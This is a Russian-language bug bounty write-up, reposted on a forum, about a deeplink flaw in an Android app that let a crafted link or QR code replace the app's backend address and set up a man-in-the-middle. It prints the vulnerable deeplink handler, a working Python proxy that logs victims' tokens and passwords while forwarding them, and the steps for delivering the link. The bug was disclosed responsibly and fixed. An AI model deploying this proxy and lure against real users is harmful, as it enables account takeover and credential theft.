• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Как я нашел простой способ захватывать аккаунты в мобильном приложении

stihl

bot
Moderator
Регистрация
09.02.2012
Сообщения
1,440
Розыгрыши
0
Реакции
792
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я расскажу про один необычный случай из моего опыта участия в программах багбаунти. Но изнуряющего исследования и жесткого реверса в этот раз не будет — все самое интересное оказалось прямо на поверхности, нужно было только хорошенько присмотреться.
Это исследование получило второе место на Для просмотра ссылки Войди или Зарегистрируйся в категории «Мобильный разлом». Соревнование ежегодно проводится компанией Awillix.

Выбор цели​

Исследование проводилось в рамках апрельского ивента Bugs Zone 4.0. Скоуп программы одного из вендоров‑участников включал в себя веб‑приложение, API-интерфейс к нему и мобильные приложения на iOS и Android.


Исторически так сложилось, что веб всегда смотрят в разы активнее, чем мобилки. И, на мой взгляд, это прекрасно, так как для исследователей, готовых закопаться, к примеру, в откручивание нестандартной реализации пиннинга в приложении на Flutter, это открывает возможность находить множество интересных вещей в условиях не такой активной конкуренции. Понимая это и устав от периодического купания в потоке дубликатов, я решил начать изучение именно с мобильного приложения.


Приложение​

Скачиваем установочный APK на Android, используя плагин Для просмотра ссылки Войди или Зарегистрируйся для VS Code, быстро и просто разбираем приложение до кода на Smali и местами Java, снимаем SSL-пиннинг — с целью дальнейшего перехвата трафика и его анализа в Burp Suite.

Для просмотра ссылки Войди или Зарегистрируйся
Подписав и установив приложение на устройство для тестирования, закручиваем трафик через наш прокси‑сервер и исследуем сетевую активность при работе с приложением. В ходе исследования я нашел несколько уязвимостей прожарки medium — когда мне открылся весь процесс взаимодействия приложения с мобильным API. Но я охотился за критами, поэтому не стал останавливаться на достигнутом и занырнул глубже.


Погружаемся в код​

Начнем исследование кода, в который плагин APKLab превратил наш APK. На самом деле под капотом плагина работает несколько утилит, одна из которых — многим известный JADX, поэтому проделать то же самое можно было и используя его напрямую.

При изучении мобильного приложения в первую очередь хорошо бы найти такие возможности, которые позволили бы нарушить конфиденциальность, целостность и доступность информации для множества пользователей без физического доступа к конкретному устройству.

Держа в голове этот факт, копаем код и ищем любые возможности, позволяющие оказать какое‑либо удаленное воздействие на хранимые или передаваемые данные.

К сожалению, функция remoteExecuteCode_OnProductionServer_AndGetDomainAdmin() в приложении отсутствовала, но нашлось нечто иное.


Что по диплинкам?​

Исследуя код, я заметил интересный файл Deeplink.java. Как ты догадываешься, в нем реализована поддержка диплинков в приложении.

Для просмотра ссылки Войди или Зарегистрируйся
Диплинк — это такой URL, переход по которому будет обработан приложением. Например, будет отображен какой‑то контент или активируется передача данных, изменится настройка. Звучит интересно, особенно в контексте того, что мы хотели бы обнаружить.

Внимательно взглянув на функцию, связанную с обработкой диплинков, я заметил, что существуют некоторые обрабатываемые ей параметры, позволяющие передавать через сформированный URL данные напрямую в приложение.

Для просмотра ссылки Войди или Зарегистрируйся
Присмотрись. Замечаешь в коде что‑нибудь необычное? 3... 2... 1...

Да, все именно так! Ты ведь тоже заметил? Через сформированный диплинк в параметре LinkConstant.API_HOST мы можем передать в приложение какое‑то значение, которое подставится в this.baseURL вместо подставляемого по дефолту значения из AppURLS.productionBaseURL.

Код:
else if (Url.getParameters().contains(LinkConstant.API_HOST)) {
    String str4 = Url.getParameters().get(LinkConstant.API_HOST);
    this.baseURL = str4 == null ? AppURLS.productionBaseURL : str4;
    this.action = null;
    this.isAuthorizedAction = false;
}
Найдем все значения из переменных:

LinkConstant.API_HOST = "host"

AppURLS.productionBaseURL = "web-api.ndaserver.ru"
Для просмотра ссылки Войди или Зарегистрируйся
И что же мы видим? Что через специально сформированный диплинк мы можем в параметре host передать любой домен, который в итоге будет записан в локальное хранилище на устройстве как легитимный адрес backend API!

Код:
else if (Url.getParameters().contains("host")) {
    String str4 = Url.getParameters().get("host");
    this.baseURL = str4 == null ? "web-api.ndaserver.ru";
    this.action = null;
    this.isAuthorizedAction = false;
}

После этого все запросы приложения будут отправляться на новый, переданный через диплинк адрес! Да это же полноценный 1-click MITM, с возможностью компрометации всей протекающей между клиентом и сервером информации (включая авторизационные токены и клиентские данные). Звучит круто, но пока это только теория. Давай проверим ее!


Эксплуатируем на практике​

Для полноценной проверки уязвимости постараемся сделать все максимально приближенно к реальной атаке.

Покупаем домен (он будет использован для MITM), прикручиваем SSL (Certbot нам в помощь) и используем ChatGPT, чтобы быстро написать прокси‑сервер, логирующий все проходящие запросы и ответы, а затем перенаправляющий запросы к легитимному серверу бэкенда. Вайбкодинг — наше всё, особенно в условиях, когда багхантеру нужно торопиться, пока уязвимость не принес кто‑то другой!

Получаем что‑то такое:

import logging
from aiohttp import web
import aiohttp

logging.basicConfig(level=logging.INFO)

# Настраиваем логирование для записи запросов и ответов
Код:
request_logger = logging.getLogger("request_logger")
request_logger.setLevel(logging.INFO)
file_handler = logging.FileHandler("requests.log")
request_logger.addHandler(file_handler)

response_logger = logging.getLogger("response_logger")
response_logger.setLevel(logging.INFO)
file_handler = logging.FileHandler("responses.log")
response_logger.addHandler(file_handler)

async def handle(request):
    # Формируем запрос к целевому API
    target_url = f"https://web-api.ndaserver.ru{request.path_qs}"
    request_logger.info(f"Received request to {request.path}, forwarding to \
                        {target_url}")

    # Подменяем заголовок Host
    headers = request.headers.copy()
    headers['Host'] = 'web-api.ndaserver.ru'

    # Получаем тело запроса
    request_body = await request.read()
    request_logger.info(f"Request body: {request_body.decode()}")

    # Отправляем запрос к целевому API
    async with aiohttp.ClientSession() as session:
        async with session.request(method=request.method, url=target_url,
                                   headers=headers, data=request_body) as response:
            # Получаем ответ от целевого API
            content = await response.read()
            response_headers = response.headers
            response_logger.info(f"Response from {target_url}: {response_headers}, \
                                 {content.decode()}")

            # Отправляем ответ клиенту
            return web.Response(status=response.status, headers=response_headers,
                                body=content)

def run_server():
    app = web.Application()
    app.add_routes([web.route("", "/{path:.}", handle)])
    web.run_app(app, host="0.0.0.0", port=443, ssl_context=get_ssl_context())

def get_ssl_context():
    import ssl
    ssl_context = ssl.create_default_context(purpose=ssl.Purpose.CLIENT_AUTH)
    ssl_context.load_cert_chain(
        '/etc/letsencrypt/live/testingtestingtestingsdadasdasd.ru/fullchain.pem',
        '/etc/letsencrypt/live/testingtestingtestingsdadasdasd.ru/privkey.pem')
    return ssl_context

if name == "main":
    run_server()

Здесь у нас
  • легитимный API — web-api.ndaserver.ru;
  • наш сервер — testingtestingtestingsdadasdasd.ru;
  • домен приложения (обрабатываемый приложением как диплинк) — ndaserver.ru.
Формируем ссылку по образцу (также можно перевести в URL-кодировку наш домен в параметре, для большей достоверности):

Для просмотра ссылки Войди или ЗарегистрируйсяА еще можно завернуть ее в QR-код.

Для просмотра ссылки Войди или Зарегистрируйся
Запускаем сервер, отправляем ссылку любому пользователю в любом мессенджере либо QR-код по почте.

После сканирования QR или перехода по ссылке домен будет навсегда записан в хранилище приложения как легитимный API бэкенда, к которому клиент будет слать запросы. Что самое для нас хорошее — приложение вообще никак не оповещает клиента о том, что у него был перезаписан адрес сервера. И пользователь навсегда (до полного удаления приложения или перехода по новой такой ссылке) оказывается под контролем злоумышленника.

На сервере мы перехватываем все передаваемые данные (auth-токены из заголовков, логины, пароли и другую чувствительную информацию).

Для просмотра ссылки Войди или Зарегистрируйся

Что дальше?​

Я успешно протестировал уязвимость, написал отчет и отправил вендору. Как выяснилось, найденную мной функцию разработчики использовали для удобства переключения между разными средами (например, продом и тестовыми серверами) без необходимости каждый раз пересобирать все приложение. О том, что этой возможностью может заинтересоваться хакер, они при этом не подумали.

Чтобы избежать подобных уязвимостей в будущем, нужно либо вообще не внедрять такие фичи, либо использовать белый список с разрешенными адресами. Вендор вскоре внедрил второй вариант, назначив мне отличную выплату.

Для просмотра ссылки Войди или Зарегистрируйся
Реализация вайтлиста
Реализация вайтлиста
Спасибо команде триажа — за оперативное рассмотрение репорта, быстрое исправление и разрешение раскрыть информацию для участия в конкурсе Awillix.

Ну а всем начинающим багхантерам, специалистам по анализу защищенности хочется пожелать никогда не останавливаться в процессе самосовершенствования, постоянно учиться, пробовать новое, и баги сами найдут тебя!
 
Activity
So far there's no one here
Сверху Снизу